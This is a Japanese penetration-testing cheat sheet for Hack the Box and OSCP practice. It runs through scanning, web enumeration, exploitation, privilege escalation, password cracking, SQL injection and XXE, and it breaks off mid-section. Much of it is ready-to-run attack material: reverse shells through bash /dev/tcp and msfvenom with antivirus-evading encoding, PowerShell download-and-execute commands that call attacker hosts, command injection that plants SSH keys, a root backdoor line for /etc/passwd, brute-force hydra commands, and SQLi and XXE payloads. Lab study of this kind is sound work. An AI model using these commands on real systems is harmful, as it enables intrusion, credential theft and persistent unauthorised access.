Hack the Box の攻略や、OSCP 取得を目指すためのチートシートです。 日々更新していきます。
- Network Scan
- 偵察
- Web Scan
- 侵入
- reverse_shell
- PayloadAllTheThings
- msfvenom_reverse_shell
- Windows(meterpreter)
- Windows(netcatなど)
- Linux
- ASP(msfvenom)
- Handlers
- Nishang
- reverse_shell
- 特権エスカレーション
- セキュリティ診断ツール
- パスワードクラック
- hydra
- John the Ripper
- hashcat
- SQL injection
- XML injection
- XSS
- LFI
- SSRF
- SSTI
- Tunneling
- リバースエンジニアリング
- Active Directory
- Windowsコマンド
- ツール
- 便利コマンド
- 小技テクニック
- nmapAutomator
nmapAutomator.sh 10.10.10.9 All
- AutoRecon
./Autorecon.sh 10.10.10.9
オプションは、こちら がわかりやすい
基本コマンド
nmap -Pn -A 10.10.10.11
-Pn : ICMPのみでなく80,443番ポートにもTCPパケットを送り、同セグメントではARPも送信しホストの存在を判断
-A : OSの種類とそのバージョンを検知
nmap -sV -sC -Pn -oN sample.txt 10.10.10.5
-sC : デフォルトスクリプトでスキャン
-sV : バージョン検出
-oN : 通常出力
他に
nmap -sV -O -F --version-light 10.10.10.3
-sV: Probe open ports to determine service/version info
-O: Enable OS detection
-F: Fast mode - Scan fewer ports than the default scan
--version-light: Limit to most likely probes (intensity 2)
・集中して大量にみたいときは、
nmap -A -v 10.10.10.3
-v 冗長性をあげる
・早く結果を見たい
nmap -Pn -T4 -A -v 10.10.10.3
-T2:
polite
スキャン速度を落とす
-T3:
normal
デフォルト
-T4:
aggressive
スキャン速度を上げる
Nmap Scripting Engine。
Nmap を単なるポートスキャナーから、脆弱性調査ツールへと変身させる機能拡張ができる。
・どのNSEを使うかの調査
ls /usr/share/nmap/scripts | grep nfs
のように、nmap の結果をみて、どのscript を使うか絞り込める。
・ 既知の脆弱性調査
nmap -Pn -p 445 --script vuln 10.10.10.4
・robots.txt で指定される巡回拒否ファイルをチェック
nmap -Pn -p 80 --script=http.robots.txt 10.10.10.4
AutoReconは、まずTCPのデフォルト1000ポートスキャンのNmapScanを実行し、そこで見つかったサービスに対して、個別にNmapのVulnスクリプトやNikto、enum4linuxなどを実行する。 同時並行でTCP fullNmapScanも実行し、そこで新たに見つかったサービスに対してもさらにNmapなどを実行してくれる。
Nmapのスキャンを高速化したRust製ポートスキャナ
Nmapで17分かかる処理を1分以内に抑える高速化を実現している
rustscan -a 10.10.10.197
- 着目すべきポート
80/TCP:HTTP, 443/TCP:HTTPS
->各ページにある脆弱性を使える
135/TCP:MSRPC, 139/TCP:NetBios-SSN, 445/TCP:Microsoft-DS
->Eternal Blueなどが使える
21/TCP:FTP
->anonymousユーザなどでファイルの中身を見たり、アップロードしたりできる
22/TCP:SSH
->BruteForceにより突破できるかも
389, 636:LDAP
->ActiveDirectoryに関する脆弱性があるかも
- robots.txt,sitemap.xml,README.txtの確認
- VHOSTの列挙
- サブドメインの列挙
- ディレクトリスキャナーの使用(ffuf, gobuster, dirb, nikto はmust)
- CMSの特定 (version が調べたかったら、CMS名 + version checkと検索(Joomla など))
- ログインの試行
- デフォルトパスワードの入力
- パスワード推測
- SQLインジェクションの試行 (Union based injection もちゃんと調べる)
- Webサイト上にある情報からユーザー/パスワードリストの作成
- ブルートフォース
- script を実行できそうなconsoleがないか確認
- URLを見て、LFIの脆弱性が無いか確認
- URLやinput Fieldを見て、 ${{<%[%'"}}% を入力し、internal server error がでてたらSSTI を疑う。
- URLやinputFieldに入力した文字が動的に表示された時に、SSTIを疑う
- XML injection できる場所はないか確認
- source codeみて、OSコマンド injection がおきそうな危険な関数が使われていないか確認
- upload機構がある場合、バイパス方法の模索
- uri を入力する部分、(url=http:// proxy=http:// ) などのurlがあれば、SSRFがないか確認
- 画像やPDFをダウンロードできるならして、 exiftool input.jpg でmeta情報からuser情報を取得できるか確認
- 画像をuploadできるなら、画像のcommentに exiftool 使って、reverseshell 利用できるか(HackTheBox Magic)確認
- 掲載されている画像にヒントが無いか確認
- apacheとnginxが両方存在したら、nginx 設定ミスによるpath traversalできるか確認
- emailあって、hostファイルの設定と@以下が違う場合は、追記して検証する。 ex: doctor.htb、[email protected] → doctors.htbを追加
- CMSなど、github sourcecode を調べ、theme やchallenge logをみて、version をチェックする。 ex:moodle など
- template fileや 404.phpなどを reverse shell file に書き換えられない確認
PHP:
exec(), shell_exec()
コマンド結果の最後の行を返します。
system()
成功時はコマンド出力の最後の行を返し、失敗時は false を返します。
passthru()
一切干渉を受けずに直接コマンドから全てのデータを受けとる。
proc_open(), popen()
Python:
eval(),
os.system(''), stream = os.popen('echo Returned output'); output = stream.read()、import subprocess
process = subprocess.Popen(['echo', 'More output'],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout, stderr = process.communicate()
Perl: exec(), system(), open(), qx/.../, `...`
...
[Python 記事](https://janakiev.com/blog/python-shell-commands/)
- shellによる複数コマンド(徳丸本より抜粋)
ffuf -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u https://test-url -H "Host: FUZZ"
ffufはデフォルトでは、レスポンスのHTTPステータスコードが「200、204、301、302、307、401、403、405」の場合に、標準出力に結果を表示する。
オプションを使えば、スキャンの目的に応じて、表示する内容を変更することが可能。
オプション例:
例1)HTTPステータスコードが200もしくは301のみを表示
-mc 200,301
例2)レスポンスサイズが4242のものを表示しない
-fs 4242
gobuster vhost -u http://horizontall.htb -t 50 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
上でダメなら、これやる(horizontall)
gobuster vhost -u http://horizontall.htb -t 50 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
ffuf -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u https://seal.htb/manager/FUZZ -fc 403 -recursion
fc: Filter HTTP status codes from response. Comma separated list of codes and ranges
fs: Size 703 とでたら、-fs 703 とフィルターして、みやすくなる(00:00Studio で視聴者さんが教えてくれた)
ffuf -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://schooled.htb -H "Host: FUZZ.schooled.htb" -fw 5338
リンク や以下を順にためす
[contact] => 25
[support] => 28
[info] => 35
[user] => 36
[mysql] => 43
[postgres] => 45
[guest] => 62
[test] => 104
[admin] => 106
[root] => 581
ユーザーが分かっていた時
hydra -l kyle -P ~/rockyou.txt ssh://writer.htb -VV -f -t 60
-t: 並列で実行するtask数 (defualt 16)
-f: login/pass pair が見つかったら終了
-VV: show login/pass for each attempt
ex: HackTheBox doctor
ssh-keygen -t ed25519
http://10.10.14.6/$(mkdir$IFS'/home/web/.ssh')
id_ed255519.pubの中身をコピー
http://10.10.14.6/$(echo$IFS'ssh-ed25519'$IFS'AAAAC3NzaC1lZDI1NTE5AAAAIOztJ2PDjV2sPrb96JZ1JVCS36aYTqzD/BR2T89y7QyB'>'/home/web/.ssh/authorized_keys')
ssh -i ./id_ed255919 [email protected]
カレントディレクトリにsecret.zipをダウンロード
scp [email protected]:/home/charix/secret.zip .
ssh -L 5901:127.0.0.1:5901 [email protected]
python sshng2john.py ~/Desktop/htb/brainfuck/id_rsa > ~/Desktop/htb/brainfuck/ssh-key
john --wordlist=/usr/share/wordlists/rockyou.txt ssh-key
ssh-keygen -t rsa -f id_rsa
chmod 600 id_rsa
- -t...暗号の種類(ed25519,rsaなど)
- -b...ビット数の固定(-t rsa -b 4096など)
- -f...ファイル名(id_????の?部分)
Port: 139, 445
- rpcclient
Testing for Null or Authenticated Sessions:
rpcclient -U "" -N [ip]
Have valid credentials? Use them to connect:
rpcclient -U <user> 10.10.10.193
接続できれば以下のクエリを試す
To enumerate printers:
enumprinters
To enumerate users and groups:
enumdomusers
enumdomgroups
The above command will output user/group RIDs. You can pass those into further queries like:
querygroup <RID>
querygroupmem <RID>
queryuser <RID>
- Try Hack Me 流
1. share の列挙
nmap -p 445 --script=smb-enum-* <target ip>
\\10.10.20.236\anonymous:
Anonymous access: READ/WRITE
などの情報が得られる
2. 1で得られたshare にアクセス
smbclient //<target ip>/anonymous
smbcient -N //<target ip>/anonymous
N: クライアントはユーザーへの パスワード入力要求をしなくなる
-N でうまくいかない場合は、
smbclient -L //<target ip>/ を試す
password が見つかっている場合は、以下でアクセス(TryHackMe skynet)
smbclient //10.10.18.82/milesdyson --user=milesdyson
3. 2で入手したいファイル(ex: log.txt)があった場合
smb 上で
get log.txt
または、kali 上で
smbget -R smb://<target ip>/anonymous
- その他
// SMBによるOSの検出や列挙(smb-os-discovery)
nmap -v -p 139, 445 --script=smb-os-discovery <target ip>
// SMBプロトコルの既知の脆弱性をチェックする場合
nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 <target ip>
// 匿名ログインが有効になっているか確認
smbclient -N -L <target ip>
// WindowsおよびSambaホストからのデータを列挙
enum4linux -U -o <target ip>
enum4linux -S <target ip>
enum4linux -P <target ip>
- -U...ユーザリスト取得
- -o...OS情報取得
- -S...sharelist取得
- -P...password policy情報取得
Port: 53
DNSサーバー = 10.10.10.13
ドメイン名を調べたいIPアドレス = 10.10.10.13
10.10.10.13 = ns1.cronos.htb
┌──(kali㉿kali)-[~]
└─$ nslookup
> server 10.10.10.13 # DNSサーバーの指定
Default server: 10.10.10.13
Address: 10.10.10.13#53
> 10.10.10.13 # ドメイン名を知りたいIPアドレスの指定
13.10.10.10.in-addr.arpa name = ns1.cronos.htb.
権威DNSサーバの設定不備によってゾーン情報を取得できることがある。
これによりサーバーの名前、アドレス、機能などを調べることができる。
dig axfr cronos.htb @10.10.10.13
host -l <domain name> <dns server address>
DNS列挙スクリプト。
サブドメインの列挙。(ゾーン転送とブルートフォース)
1.kali@kali:~$ dnsrecon -d megacorpone.com -t axfr
2.kali@kali:~$ dnsrecon -d megacorpone.com -D ~/list.txt -t brt
- -d...ドメイン名の指定
- -t...実行する列挙の種類(1つ目はゾーン転送)
- -t...実行する列挙の種類(2つ目はブルートフォース)
- -D...サブドメイン文字列を含むワードリストファイルの指定
サブドメインの列挙。(ブルートフォース)
┌──(root💀kali)-[/home/kali/htb/boxes/Cronos]
└─# dnsmap cronos.htb -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt 127 ⨯
dnsmap 0.35 - DNS Network Mapper
[+] searching (sub)domains for cronos.htb using /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
[+] using maximum random delay of 10 millisecond(s) between requests
www.cronos.htb
IP address #1: 10.10.10.13
[+] warning: internal IP address disclosed
admin.cronos.htb
IP address #1: 10.10.10.13
[+] warning: internal IP address disclosed
ファジングを高速に、簡便にという意味が込められたWEBファジングツール
- fw...単語の量でフィルタリング
- fl...行数でフィルタリング
- fs...応答のサイズでフィルタリング
- fc...ステータスコードでフィルタリング
- fr...正規表現のパターンでフィルタリング
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.247/FUZZ
recursive にdirectory scan してくれる、Rust製のツール
basic:
feroxbuster -u http://10.10.10.234
Read URLs from STDIN; pipe only resulting URLs out to another tool:
cat targets.txt | feroxbuster –stdin –silent -s 200 301 302 –redirects -x js fff -s 200 -o js-files
-s, --status-codes <STATUS_CODE>: allow list
-x, --extensions <FILE_EXTENSION>: File extension(s) to search for (ex: -x php -x pdf js)
リンク
ディレクトリスキャナー。
隠されたディレクトリや公開範囲が間違えて設定されているものはないかを調べるために使用。
gobuster dir -t 100 -u <target url> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,py -o <output filename>
- dir...ディレクトリ総当たり
- -t...スレッド数
- -u...URL指定
- -w...wordlistの指定
- -o...ファイル出力
- -x...拡張子指定
実際の使用例
gobuster dir -u http://10.10.10.37 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -o blocky_gobuster
dirb http://172.17.0.2/mutillidae
DIRB IS a Web Content Scanner. It looks for existing
(and/or hidden) Web Objects.
It basically works by launching a dictionary basesd attack
against a web server and analizing the response.
Web 脆弱性スキャナ。 任意のWebサーバー(Apache、Nginx、IHS、OHS、Litespeedなど)で使用できる。 Webサイトのセキュリティ上の欠陥を識別して、見つかった各問題の詳細な参照を提供する。
nikto -h <target url> -Format txt -o <output filename>
-h...url指定
-Format...出力するファイルの拡張子を指定
-o...ファイルへ出力する
-ssl...SSLを使用するサイトで使用
ex): nikto -h http://10.10.10.15
DAVTest tests WebDAV enabled servers by uploading test executable files, and then (optionally) uploading files which allow for command execution or other actions directly on the target. It is meant for penetration testers to quickly and easily determine if enabled DAV services are exploitable.
davtest --url 10.10.10.14
WordPressの脆弱性診断ツール。
wpscan -url <target url> -e u -t -vp --log <output filename>
- -url...対象のURL指定
- -e u...usernameの列挙
- -t...テーマを列挙
- -vp...脆弱性のあるプラグインを列挙
- --log...ファイル出力
実際の使用例
wpscan --url 10.10.10.37 -e u
API-token を設定することで、WordPress脆弱性データをリアルタイムで取得して検出できる。
token取得は、こちらから
wpscan --url http://XXXXXX/WordPress/ -e vp --api-token xxxxxxxxxxxxxxxxxxxxxxxx
ex:
wpscan --url 10.10.10.17 -e u,vp --api-token KDuAhQpTshtAEPxDLNZLiWrkszFxb8kf8t6a3IR6RKw
wpscan --url internal.thm/wordpress/ --passwords rockyou.txt --usernames admin --max-threads 50
reverse_shell 全部乗ってて、大変便利
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.18 LPORT=8080 -e x86/shikata_ga_nai -f exe -o /root/apache-update.exe
e: ペイロードを使用したところで、アンチウイルスソフトで検出される可能性も高いため、アンチウイルスの検出を回避するために、エンコードする
shikata_ga_nai
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o reverse.exe
bash -i >& /dev/tcp/[url]/[port] 0>&1
ex: bash -i >& /dev/tcp/10.10.14.15/4444 0>&1
better shell をとるのに使った リンク
msfvenom で payload 作成
msfvenom -p windows/shell_reverse_tcp lhost=10.0.0.1 lport=4444 –f exe > reverse.exe
powershell で download
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.9.27.249:8000/reverse.exe','reverse.exe')"
metasploit で multi/handler を待ち構えて、ダウンロードしたファイルを実行
powershell "Start-Process "reverse.exe"
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o reverse.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip address> LPORT=<Port Number> -f asp > reverse.asp
x64 と判明していた場合(TryHackMe relevant)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.219.23 LPORT=4242 -f aspx > reverse.aspx
use exploit/multi/handler
set payload <payload> (set payload windows/meterpreter/reverse_tcp、 set payload linux/x86/meterpreter/reverse_tcp など)
set LHOST <ip address>
set LPORT <port number>
run
Powershell を使って、reverse shell 取得可能
~/nishang/shell へ移動し、http server 起動
C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe
SysNative: 64-bit architecture system binaries are located.
powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.66.152:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.66.152 -Port 4444
- Linux Distribution, Kernel version, cpu architecture の確認
cat /etc/*issue # linux distribution
cat /etc/*release # linux distribution
uname -a # hostname, kernel version, cpu architecture (32-bit vs. 64-bit)
uname がない場合は
dmesg | head -n1
- network の確認
cat /etc/network/interfaces # show network config
cat /etc/sysconfig/network # show network config
iptables -xvL # show firewall rules
netstat -aeet # show service names
netstat -antpl
ss -tpl # resolve service name
ss -antpl # if 'netstat' doesn't exist
- 特権アクセスの確認
cat /etc/sudoers # can we read? which users have sudo privileges?
sudo -l # can we use sudo? do we need a password?
ls -al /root # can we read /root?
ls -alR /home # check permissions for /home directories
とくに、何らかのpassword が得られた状態で、lateral movement をしたいuser 名があるとき、
su user名 をtry する。
lateral movement に成功したら、必ず、sudo -l をやる。
(Try Hackme: Daily Bulge)
- id コマンドで、ユーザーの識別情報を確認
group で怪しいものがあった場合は、find コマンドで調査する
john@writer:/etc/apt/apt.conf.d$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
john@writer:/etc/apt/apt.conf.d$ cd
john@writer:~$ find / -type d -group management 2>/dev/null or find / -type f -group management 2>/dev/null
たとえばこれで、log ファイルなどが表示されたら、そこのdirectoryへいき
grep -r passw . 2>/dev/null
- SUID binaries と capabilitiesを探す
find / -writable -type d 2>/dev/null # show writable folders
find / -writable -type f 2>/dev/null # show writable files
find / -perm -4000 -type f 2>/dev/null # search system for suid files
find / -perm -u=s -type f 2>/dev/null
custom suid実行ファイルを探す。 (default が何か不明な時は、手元のMacOSで上のコマンドを打ち、結果を比較する。)
* common binaries は以下のことを考える:
cp,mv: You can write anywhere, so move or copy over /etc/passwd to add a user (kind of dangerous) or a SSH key.
less,more: Call !bash
man man: Again call !bash
expect: Call spawn bash, then bash
awk: Run awk 'BEGIN {system("/bin/sh")}'
Text editors: Like vi most of these have shell escapes.
・ capabilities 確認
getcap -r / 2>/dev/null
ex: これで、python がでてきたら。
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
(eval の場合、 `__import__('os').system('nc your_ip port -e /bin/sh')` のように書く)
上記でpython 以外が出てきたら、gtfobins から、該当のコマンドを探す。
- ある特定のファイルが定期実行されているか?
cat /etc/crontab
cat /var/log/syslog
- あやしいプロセスはないか?
ps aux | grep root
ps aux | grep <user_name>
ps -ef | grep <process_name>
- PATH injection できるか?
// 環境変数にキーやパスワードがあったり、隠れたbinファイルをPATHで見つける
echo $PATH # current value of PATH
env # display environment information
ex: sudo -l で、あるファイル(/opt/scripts/access_backup.sh)が、root 権限で実行できるとき、そのファイルの中身で、 gzip ... というshell script が書いてあるとする
#!/bin/bash
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
→ tmp フォルダに、名前が、gzip というファイルを作り、中にreverse shellをかく
→ PATH=$(pwd):$PATH でPATH をぬりかえ。
/usr/local/sbin:/usr/local/bin → /tmp:/usr/local/sbin:/usr/local/bin
→ sudo /opt/scripts/access_backup.sh
- wildcard injection できるか?
tar cf /var/backups/backup.tar *
- etc/passwd が writeable か?
root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash
root2: username
WVLY0mgH0RtUI: encrypted password (mrcake)
0:0: user id and group id are both 0(root)
root: comment field
/root: home directory
/bin/bash: default shell
- symlink を使って、/etc/passwd を上書きできるか?
ln コマンドを使う
ln -s mylist02.txt latest
これで、「latest」というファイルを編集したり、閲覧したりすることが、「mylist02.txt」を編集したり、閲覧したりすることと同じ結果になる。
mkdir source
cp /etc/passwd source/passwd
echo 'root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash' >> source/passwd
- CVE などでコマンドが実行できる時
必ずしも、root のshell を奪取しなくても、cat /root/root.txt
などでflag を取得することはできる。(horizontall)
- その他
// etc配下のファイルにある文字列列挙
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
grep -Ri password $(find /etc -name '*.conf' 2>/dev/null)
// ファイル名に「○○」という文字列が含まれているファイルのリストを取得。
find [検索対象フォルダのパス] -type f -name "*[検索したい文字列]*"
// 特殊なtxtファイルはないか? (TryHackMe internal, password があった)
locate *.txt
// show installed packages and versions
dpkg -l 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"
// その他
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
・LinPEAS - Linux local Privilege Escalation Awesome Script (.sh)
実行:
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
LinPEAS で不十分な時は、linux-smart-enumeration(lse.sh) 検討する。
・WinPEAS - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)
権限昇格が行える箇所がないかチェックするシェルスクリプト
uname -a
cat /etc/*release
で情報を掴み、exproit db で、local priviledge escalation などを探す。
実行しているプロセスをダンプしてくれる。
linpeas.shなどでps auxだけでは確認できないものも確認できる
ローカルのセキュリティ制限を回避する、バイナリ集
見慣れないコマンドがあったら、こちらから探す。 (machine では、ここから、jounralctl, python 検索して root 奪取した)
PS C:\> whoami
PS C:\> whoami /priv # exploitable privileges?
PS C:\> whoami /groups # administrator?
ex:
whoami /priv で、
SeImpersonatePrivilege enabled // Impersonate a client after authentication
→ PrintSpoofer (or Juicy Potato)
PrintSpoofer.exe -i -c cmd
PS C:\> hostname
PS C:\> ipconfig /all ; route print ; arp -a # network information
PS C:\> netstat -anto | Select-String "listening" # check for services on loopback
PS C:\> netstat -anto | Select-String "established" # check outgoing connections
PS C:\> netsh advfirewall show allprofiles # firewall settings
systeminfo で、OS name, OS version をcheck.
hotfix で、update がされているか確認。
ex:
OS Name: Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7600 N/A Build 7600
HotFix: N/A
./windows-exploit-suggester.py --update
systeminfo の内容をコピーし、systeminfo.txt をつくる
その後、以下のようなコマンドをうつ
./windows-exploit-suggester.py --database 2021-07-18-mssb.xls --systeminfo ~/hackTheBox/bastard/sysinfo.txt
hit したものを、github で検索たり、 チートシート で検索。
ex: MS-059
local privilege escalation をするために、 Kernel Exploitを列挙するps1のスクリプト。
Powershellが使えるならEmpire上から、実行する。
IEX(New-Object Net.Webclient).downloadString('http://10.10.14.5:8000/Sherlock.ps1'); Find-AllVulns
vulnerable がみつかったら、empire にmodule があるかチェック
ex: MS16-032
Empire/data/module_source/privesc/Invoke-MS16032.ps1
vi で使い方見て、ファイルの最終行を編集し
IEX(New-Object Net.Webclient).downloadString('http://10.10.14.15/Invoke-MS16032.ps1')
meterpreterでシェルを手に入れている場合、local_exploit_suggesterを使うことで、特権昇格に使える exploit を探すことができる
background
use post/multi/recon/local_exploit_suggestersession を interactive に戻す時
sessions -i 1
access denied の時、プロセスが原因?
ps で root 権限で動いているプロセスを確認し、 migrate コマンド使う
migrate 1836
meterpreterプロンプト下でmigrateコマンドを使うことで、バックドアを既存のプロセスに統合させることが出来る
権限昇格に使う。
TryHackMe steel mountain:
meterpreter から、 upload /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1
load powershell
powershell_shell
PS > . .\PowerUp.ps1
PS > Invoke-AllChecks
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFile : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFilePermissions : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
ModifiableFileIdentityReference : STEELMOUNTAIN\bill
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'AdvancedSystemCareService9'
CanRestart : True
Name : AdvancedSystemCareService9
Check : Modifiable Service Files
こう言う結果を見たら、CanRestart と WriteAttributes に注目。
true だったら、malicious コードにおきかえて、再起動できる。
ブラウザとサーバ間のHTTP通信をキャプチャし、通信内容を閲覧および改竄できるツール BurpのProxy機能とはWebアプリケーションの通信でサーバにリクエストを送信する際に、BurpがHTTP通信をキャプチャして 通信内容の閲覧や通信内容の書き換えができる機能。
なぜ、このツールを使うか?
もちろんブラウザ上から入力フォームやGETパラメータに脆弱性を判定する診断データを入力して
脆弱性が存在するかチェックする事もできますが、Cookieやhiddenパラメータなどは画面上からでは
診断値を挿入できず、また脆弱性の有無はレスポンスヘッダやレスポンスボディ(HTMLソースなど)を見て判定するため、
ブラウザ上からでは効率よくチェックが行えません。
そのためWebアプリケーションセキュリティ診断ではプロキシツールを使用して作業を行います
実践例:
Proxy → Option で、
アドレス、port、redirect 先のアドレスとport(nmap で開いていたport)を記入
127.0.0.1:1212 redirect: 10.10.10.56:80
curl http://127.0.0.1:1212/cgi-bin/user.sh
これで、intercept される
- Intruder
payload の 4つの type
1. Sniper:
positionで指定した箇所を、Payload Optionsで設定した値に1つずつ変更して送信
2. Battering Ram:
positionで指定した箇所を、Payload Optionsで設定した値に全て変更して送信
3. Pitchfork:
positionで指定した箇所ごとに、Payload Optionsで値を設定して送信。
name=§shin§&age=§36§&address=§chiba§があった場合、name、age、addressごとに変更するものをPayload Optionsで設定します。
4. Cluster Bomb:
positionの一つを固定しながら他を変えるのを順繰り設定していきます。
position1のPayload Optionsの値を「aaa、bbb」position2のPayload Optionsの値を「ccc, ddd」と設定した場合、始めにposition1の「aaa」が固定され、position2が「ccc, ddd」となって送信。続いてposition1が「bbb」で固定され、position2の「ccc, ddd」が送信されます
公式リンク SSHやFTPなどのサービスや、webアプリのログインフォーム(Basic認証)に対して攻撃が出来る。(ssh, ftp, http, imap, pop3) 攻撃時は、あらかじめ攻撃する値を記載したファイルを利用することが出来る
hydra -l <username or user.txt> -p <password or password.txt> 192.168.56.1 -t 4 ssh
・-l single user parameter
・-t は並列処理のタスク数宇
ex(tcp):
簡単なwordlist を使う
hydra -L user.txt -P password.txt -s 8080 10.10.12.30 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2Fbuild%2Fadmin&Submit=Sign+in:F=Invalid username or password"
s: port 指定
ex (ftp):
・username も password もわからない時。
hydra -L user.lst -P pass.lst -t 16 ターゲットIP ftp
hydra -L user.lst -P pass.lst -t 8 ターゲットIP ftp
hydra -L /usr/share/wordlists.rockyou.txt -P /usr/share/wordlists/rockyou.txt -M <targetIP> -t 4 ssh
・username わかってる時。
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 ssh://192.168.1.123
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.0.1 http-post-form "/login:username=^USER^&password=^PASS^:F=failed"
hydra -l userlist.txt -P passwordlist.txt 192.168.0.107 ft
ex (ssh)
hydra -L user.lst -P pass.lst -t 4 ターゲットIP ssh
- crunch コマンドで、wordlist を作れる
crunch <最小の文字数> <最大の文字数> <オプション><文字候補>
ex:
最小1文字、最大で6文字のパスワードで"a", "k", "n", "s"の4文字から抽出したパスワードを"wordlist"と言う名前のファイルに格納します。
crunch 1 6 akns -o wordlists
1-3文字で、0-9 のパスワード
crunch 1 3 0123456789
/home/kali に作成
crunch 3 3 12345 >> /home/kali/pass.txt
crunch 3 3 12345 -o pass.txt (これでもおk、pwd が /home/kali の場合)
/usr/share/wordlists に作成 (巨大なファイルになるため、実行要注意)
crunch 3 5 0123456789abcdefghijklmnopqrstuvwxyz >> /usr/share/wordlists/rockyou.txt
hash analyzer でhash の type を調べる。
もしくは、example hashes から、類似のタイプを探す。
free password hash cracker で、crack できるかチェック、だめそうなら、以下の hashcat を考える。
hashcatはパスワードクラックのツール。
hashcatで行うパスワードクラックは稼働しているシステムに対してアカウントがロックされるまでログイン試行を行うようなものではなく、
パスワードのハッシュ値から元のパスワードを割り出すもの。
JohnTheRipperだとハッシュファイルを作成して形式を合わせる必要があってやや面倒。
hashcatだとハッシュ値を直接引数に渡せて便利。
基本的には-mオプションでハッシュ形式の指定、-aオプションで攻撃モードの指定、そしてハッシュ値を渡す。
結果の表示には--showオプションを使用する。
hashcat -a 3 -m 0 5d41402abc4b2a76b9719d911017c592 --show
# -m 0: md5
# -a 3: ブルートフォース
# hashcat --helpでハッシュの種類のIDが見れる
passowrd がある場合 (kerberos 認証):
hashcat -a 0 -m 18200 hash.txt password.txt
zipファイルへのパスワードに対し、総当り攻撃してくれるアプリ
fcrackzip -u -l 1-5 hoge.txt
u: unzip
l: 文字数
事例machine: node
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace-decoded.backup
-D: select dictionary mode
-p: password file
- カラムの数を探す
' order by 5 -- &...
5 からincrement/decrement して、エラーから正常動作にうつった時がカラムの数
- enumerate
ex: etc/passwd をload する
admin' union select 1, load_file('/etc/passwd'), 3, 4, 5, 6 -
ex: カラムの数が2つだった場合
union select 1, order by 5 -- このorder by 5 を以下でおきかえる。
- username, version, databasename
concat_ws(char(32,58,32), user(), database(), version()) --
・ show all tables
group_concat(table_name,0x0a) from information_schema.tables where table_schema=database()
・ show all columns (update users to the table you are using if it is not called users)
group_concat(column_name,0x0a) from information_schema.columns where table_name='users'
・ show column data (user and password are the column names and users is the table name)
group_concat(user, 0x0a, password) from users
sqlmap -u 'http://localhost:5000/users?name=Alice' --dump
u: target url
dump: 脆弱性があった時に、DB の内容をdumpする
パラメータをテストするときは --data オプションを使う。
sqlmap -u 'http://localhost:5000/users' --data 'name=Alice' --dump
ログインとパスワードの入力が必要な画面で、
sqlmap -u http://10.10.10.6/torrent/login.php --data="password=test&username=test" --method POST --dbms MySQL --thread=5
検索フォームで背後にどんなDB が隠れているかをチェック(TryHackMe Game Zone)
1. 送信ボタンを押し、BurpSuite でintercept
2. 内容をcopy し、req.txt として保存
3. sqlmap -r req.txt --dbms=mysql --dump
- PHP filter を利用した攻撃
PHPでXXE攻撃する場合、以下のようにPHPフィルタを用いてBASE64エンコードするという技が知られている。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>1</cwe>
<cvss>1</cvss>
</bugreport>
- XXE による LFI / RFI XXE による LFI / RFI(Local File Inclusion / Remote File Inclusion)では、外部実体参照を利用することで、
